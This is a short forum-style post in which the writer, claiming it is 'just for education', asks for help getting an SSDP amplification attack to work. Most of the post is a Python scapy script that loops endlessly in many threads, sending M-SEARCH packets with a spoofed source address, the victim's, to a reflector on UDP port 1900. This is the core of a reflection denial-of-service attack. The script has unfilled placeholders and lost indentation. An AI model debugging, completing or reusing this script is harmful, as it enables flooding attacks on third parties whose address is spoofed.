I want to learn how to program ssdp amplification attack
Just for education.
I send ssdp message to window 8 with my code.The code is as follow.But nothing reply.
Please help me
Just for education.
I send ssdp message to window 8 with my code.The code is as follow.But nothing reply.
Code
from scapy.all import *
from threading import *
import sys
import os
class ready(Thread):
def __init__ (self,threadid,data):
Thread.__init__(self)
self.threadid=threadid
self.data=data
def run(self):
while 1:
send(IP(dst=sys.argv[2],src=sys.argv[3])/UDP(sport=1900,dport=1900)/Raw(load=self.data))
if(__name__)=="__main__":
sendthread=[]
data="M-SEARCH * HTTP/1.1\r\n"+"ST:%(library)s:%(service)s\r\n"+"MX: 3\r\n"+"MAN: \"ssdp:discover\"\r\n"+"HOST:239.255.255.250:1900\r\n\r\n"
for i in range(1,int(sys.argv[1])+1):
sendthread.append(ready(i,data))
sendthread[i-1].start()Please help me



